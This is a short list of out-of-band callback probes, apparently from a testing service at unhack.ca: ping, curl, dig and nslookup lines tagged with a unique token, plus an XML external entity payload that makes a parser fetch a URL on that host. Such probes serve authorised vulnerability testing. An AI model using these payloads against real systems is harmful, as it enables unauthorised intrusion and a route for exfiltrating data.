$ ping -c1 -p 006a74a44473c4f2fd3bb2b0c7fceb00 unhack.ca
$ curl http://unhack.ca/p/6a74a44473c4f2fd3bb2b0c7fceb
$ dig 6a74a44473c4f2fd3bb2b0c7fceb @unhack.ca
$ dig 6a74a44473c4f2fd3bb2b0c7fceb.ns.unhack.ca
C:\> nslookup 6a74a44473c4f2fd3bb2b0c7fceb unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/6a74a44473c4f2fd3bb2b0c7fceb">]> <foo>&xxe;</foo>